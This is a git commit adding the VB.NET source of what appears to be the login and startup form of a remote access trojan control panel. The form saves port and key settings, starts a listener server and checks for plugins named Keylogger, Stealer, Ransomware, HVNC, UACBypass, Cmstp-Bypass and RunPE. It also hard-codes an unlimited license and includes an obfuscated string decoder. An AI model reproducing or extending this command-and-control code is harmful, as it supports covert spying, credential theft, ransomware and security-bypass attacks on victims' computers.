initial commit
This commit is contained in:
i2p
@@ -0,0 +1,205 @@
|
||||
Imports System.ComponentModel
|
||||
Imports System.IO
|
||||
Imports System.Net
|
||||
Imports Microsoft.VisualBasic.CompilerServices
|
||||
Imports MySql.Data.MySqlClient
|
||||
|
||||
Public Class Port
|
||||
|
||||
Public Sub New()
|
||||
InitializeComponent()
|
||||
|
||||
SettingsHelper.LoadFromRegistry()
|
||||
|
||||
Opacity = 0
|
||||
FadeIn(Me, 5)
|
||||
Guna2TextBox1.Select()
|
||||
End Sub
|
||||
|
||||
|
||||
Public Async Sub connect()
|
||||
Try
|
||||
Await Task.Delay(5000)
|
||||
Main.S = New Server
|
||||
Dim listener As New Threading.Thread(New Threading.ParameterizedThreadStart(AddressOf Main.S.Start))
|
||||
listener.Start(SettingsHelper.Port)
|
||||
listener.Join()
|
||||
|
||||
SettingsHelper.MSGS = +1
|
||||
LVLog("Listening " & SettingsHelper.Port, Color.Green)
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
Private Sub Port_Closing(sender As Object, e As CancelEventArgs) Handles Me.Closing
|
||||
Try
|
||||
Environment.Exit(0)
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub Port_Load(sender As Object, e As EventArgs) Handles MyBase.Load
|
||||
|
||||
|
||||
Try
|
||||
If Not IO.Directory.Exists(Path.Combine(Application.StartupPath, "Sounds")) Then
|
||||
IO.Directory.CreateDirectory(Path.Combine(Application.StartupPath, "Sounds"))
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
|
||||
Try
|
||||
Dim batPath As String = Path.Combine(Application.StartupPath, "Fixer V6.bat")
|
||||
If Not File.Exists(batPath) Then File.WriteAllText(batPath, My.Resources.Fixer)
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
|
||||
Try
|
||||
Dim IntroPath As String = Path.Combine(Application.StartupPath, "Sounds", "Intro.wav")
|
||||
If Not File.Exists(IntroPath) Then File.WriteAllBytes(IntroPath, My.Resources.Intro)
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
|
||||
Try
|
||||
Dim ChatWav As String = Path.Combine(Application.StartupPath, "Sounds", "Chat.wav")
|
||||
If Not File.Exists(ChatWav) Then File.WriteAllBytes(ChatWav, My.Resources.Chat)
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
|
||||
|
||||
Try
|
||||
Guna2TextBox2.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "License", Nothing)
|
||||
|
||||
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "NoteF", Nothing) = "True" Then
|
||||
Guna2ToggleSwitch1.Checked = True
|
||||
Else
|
||||
Guna2ToggleSwitch1.Checked = False
|
||||
End If
|
||||
|
||||
If Not My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Port", Nothing) = Nothing Then
|
||||
Guna2TextBox1.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Port", Nothing)
|
||||
End If
|
||||
|
||||
If Not My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Key", Nothing) = Nothing Then
|
||||
Guna2TextBox4.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Key", Nothing)
|
||||
End If
|
||||
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
|
||||
End Sub
|
||||
|
||||
Public Shared Function LaCho7ezCVhet(ByVal proj As String, ByVal key As String)
|
||||
Dim Txt As String = ""
|
||||
For i As Integer = 1 To proj.Length
|
||||
Dim temp As Integer = AscW(GetChar(proj, i)) - AscW(GetChar(key, i Mod key.Length + 1))
|
||||
Txt += ChrW(temp)
|
||||
Next
|
||||
Return Txt
|
||||
End Function
|
||||
|
||||
|
||||
Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click
|
||||
Try
|
||||
SettingsHelper.Port = Guna2TextBox1.Text
|
||||
SettingsHelper.KEY = Guna2TextBox4.Text
|
||||
SettingsHelper.Blocked = New List(Of String)
|
||||
SettingsHelper.User = Environment.UserName
|
||||
|
||||
SettingsHelper.LicenseExpire = "∞"
|
||||
|
||||
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\" & SettingsHelper.RegSave, "License", Guna2TextBox2.Text)
|
||||
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\" & SettingsHelper.RegSave, "Port", Guna2TextBox1.Text)
|
||||
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\" & SettingsHelper.RegSave, "Key", Guna2TextBox4.Text)
|
||||
|
||||
If Guna2ToggleSwitch1.Checked Then
|
||||
SettingsHelper.NOTEF = True
|
||||
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\" & SettingsHelper.RegSave, "NoteF", "True")
|
||||
Else
|
||||
SettingsHelper.NOTEF = False
|
||||
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\" & SettingsHelper.RegSave, "NoteF", "False")
|
||||
End If
|
||||
|
||||
For Each str2 In Strings.Split("ActiveWindows.dll,Chat.dll,Chromium.dll,Clipboard.dll,Cmstp-Bypass.dll,DisableUAC.dll,FileManager.dll,FilesSearcher.dll,HBrowser.dll,HiddenApps.dll,HRDP.dll,HVNC.dll,HVNCMemory.dll,Informations.dll,Keylogger.dll,Maps.dll,MessageBox.dll,Microphone.dll,Ngrok-Installer.dll,Options.dll,Pastime.dll,Performance.dll,ProcessManager.dll,Programs.dll,Ransomware.dll,Recovery.dll,Regedit.dll,RemoteDesktop.dll,ReverseProxy.dll,RunPE.dll,ServiceManager.dll,Shell.dll,StartupManager.dll,Stealer.dll,System.Management.Automation.dll,TCPConnections.dll,UACBypass.dll,VB.NET Compiler.dll,VoiceChat.dll,WebCam.dll,WindowsUpdate.dll,WSound.dll", ",")
|
||||
If Not IO.File.Exists("Plugins\" & str2) Then
|
||||
MsgBox("Missing dll >> " & str2, MsgBoxStyle.ApplicationModal, Nothing)
|
||||
End If
|
||||
Next
|
||||
|
||||
Messages.F = Main
|
||||
Main.Timer_Status.Start()
|
||||
ListViewDoubleBuffer.Enable(Main.Lv1)
|
||||
ListViewDoubleBuffer.Enable(Main.Lv2)
|
||||
ListViewDoubleBuffer.Enable(Main.Lv3)
|
||||
ListViewDoubleBuffer.Enable(Main.Lv4)
|
||||
connect()
|
||||
Hide()
|
||||
Process.Start("https://t.me/CelestialProjectNews")
|
||||
Main.Show()
|
||||
|
||||
Catch ex As Exception
|
||||
MessageBox.Show("Error during startup: " & ex.Message, Text, MessageBoxButtons.OK, MessageBoxIcon.Error)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2TextBox2_KeyDown(sender As Object, e As KeyEventArgs) Handles Guna2TextBox2.KeyDown
|
||||
If e.KeyCode = Keys.Enter Then
|
||||
e.SuppressKeyPress = True
|
||||
|
||||
If Guna2GradientButton1.Enabled = True Then
|
||||
Guna2GradientButton1.PerformClick()
|
||||
End If
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2TextBox1_TextChanged(sender As Object, e As EventArgs) Handles Guna2TextBox1.TextChanged
|
||||
Try
|
||||
Dim num As Integer = Conversions.ToInteger(Guna2TextBox1.Text)
|
||||
If ((Conversions.ToInteger(Guna2TextBox1.Text) > &HFFFE) Or (Conversions.ToInteger(Guna2TextBox1.Text) < 1)) Then
|
||||
Guna2GradientButton1.Enabled = False
|
||||
Else
|
||||
Guna2GradientButton1.Enabled = True
|
||||
End If
|
||||
Catch exception1 As Exception
|
||||
Guna2GradientButton1.Enabled = False
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2TextBox1_KeyDown(sender As Object, e As KeyEventArgs) Handles Guna2TextBox1.KeyDown
|
||||
If e.KeyCode = Keys.Enter Then
|
||||
e.SuppressKeyPress = True
|
||||
|
||||
If Guna2GradientButton1.Enabled = True Then
|
||||
Guna2GradientButton1.PerformClick()
|
||||
End If
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2TextBox4_TextChanged(sender As Object, e As EventArgs) Handles Guna2TextBox4.TextChanged
|
||||
Try
|
||||
If Guna2TextBox4.Text.Length > 32 Or ((Guna2TextBox4.Text.Length) < 1) Then
|
||||
Guna2GradientButton1.Enabled = False
|
||||
Else
|
||||
Guna2GradientButton1.Enabled = True
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Guna2GradientButton1.Enabled = False
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2TextBox4_KeyDown(sender As Object, e As KeyEventArgs) Handles Guna2TextBox4.KeyDown
|
||||
If e.KeyCode = Keys.Enter Then
|
||||
e.SuppressKeyPress = True
|
||||
|
||||
If Guna2GradientButton1.Enabled = True Then
|
||||
Guna2GradientButton1.PerformClick()
|
||||
End If
|
||||
End If
|
||||
End Sub
|
||||
End Class
|
||||
Reference in New Issue
Block a user